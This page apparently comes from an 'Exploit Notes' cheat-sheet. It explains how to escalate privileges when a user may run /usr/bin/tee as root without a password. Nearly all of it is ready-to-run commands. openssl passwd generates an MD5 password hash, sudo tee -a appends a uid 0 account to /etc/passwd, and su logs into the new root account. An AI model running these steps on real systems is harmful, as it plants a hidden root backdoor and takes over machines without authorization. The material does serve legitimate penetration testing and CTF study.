Exploit Notes

Sudo Tee Privilege Escalation

Last modified: 2023-02-26

Privilege Escalation

Sudo tee command is vulnerable to privilege escalation.

Investigation

(root) NOPASSWD: /usr/bin/tee

If we can execute tee command as root, we can escalate to privilege.


Exploitation

1. Create a New Password for New User

Assume the new username is "tester".

# -1: MD5 algorithm
# -salt: Use privided salt -> The new username here
openssl passwd -1 -salt "tester" "password123"

# Output: $1$tester$LvsygQ2GEt7VUJQEqhMLf/

Copy the output password.

2. Write New Line with Tee

Paste the password in printf and overwrite /etc/passwd using tee command.

printf 'tester:$1$tester$LvsygQ2GEt7VUJQEqhMLf/:0:0:root:/root:/bin/bash\n' | sudo tee -a /etc/passwd

3. Switch to New User

Now the new user was created.
We can switch to the new user.

su tester
password: password123